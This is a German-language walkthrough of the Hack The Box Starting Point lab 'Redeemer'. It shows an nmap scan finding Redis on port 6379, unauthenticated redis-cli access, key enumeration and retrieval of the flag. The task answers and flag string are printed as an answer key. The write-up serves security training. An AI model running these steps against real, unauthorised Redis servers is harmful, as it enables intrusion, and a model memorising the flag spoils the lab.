https://app.hackthebox.com/starting-point

Redeemer

Task 1:
Which TCP port is open on the machine?

Wir starten direkt mit einem nmap Scan. Da der „normale Scan“ keine Ergebnisse gebracht hat, müssen wir ein paar Anpassungen vornehmen. Da das Ergebnis mit ***9 angegeben ist, setzten wir die Portreichweite auf 1-9999 und erhöhen die Suchgeschwindigkeit mit -T5:

└─$ nmap 10.129.166.34 -sV -p1-9999 -T5
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 19:06 CET
Warning: 10.129.166.34 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.166.34
Host is up (0.053s latency).
Not shown: 9183 closed tcp ports (conn-refused), 815 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.02 seconds

Antwort 1:
6379

Task 2:
Which service is running on the port that is open on the machine?

Die Antwort sehen wir in Task 1.

Antwort 2:
Redis

Task 3:
What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database

Die Antwort lässt sich ja leicht aus den Sternchen des Beispiels ablesen, wir können es aber auch googlen.

Antwort 3:
In-memory Database

Task 4:
Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.

Auch hier hilft googlen.

Antwort 4:
redis-cli

Task 5:
Which flag is used with the Redis command-line utility to specify the hostname?

Gucken wir in die Hilfe von redis-cli:

└─$ redis-cli -h                                                               
redis-cli 7.0.5

Usage: redis-cli [OPTIONS] [cmd [arg [arg ...]]]
  -h <hostname>      Server hostname (default: 127.0.0.1).
--snip--

Antwort 5:
-h

Task 6:
Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?

Die Antwort finden wir auf der Website von Redis.

Antwort 6:
info

Task 7:
What is the version of the Redis server being used on the target machine?

Verbinden wir uns mit der Machine:

└─$ redis-cli -h 10.129.166.34
10.129.166.34:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
--snip--

Antwort 7:
5.0.7

Task 8:
Which command is used to select the desired database in Redis?

Wieder werden wir auf der Redis Website fündig.

Antwort 8:
Select

Task 9:
How many keys are present inside the database with index 0?

Wir wählen die Datenbank 0 und lassen uns die Infos anzeigen:

10.129.166.34:6379> select 0
OK
10.129.166.34:6379> info
--snip--
# Keyspace
db0:keys=4,expires=0,avg_ttl=0

Antwort 9:
4

Task 10:
Which command is used to obtain all the keys in a database?

Jepp, Redis Website.

Antwort 10:
Keys *

Submit Flag:
Submit root flag

Mit get lassen wir uns den Inhalt von flag anzeigen:

10.129.166.34:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"

Antwort 11:
03e1d2b376c37ab3f5319922053953eb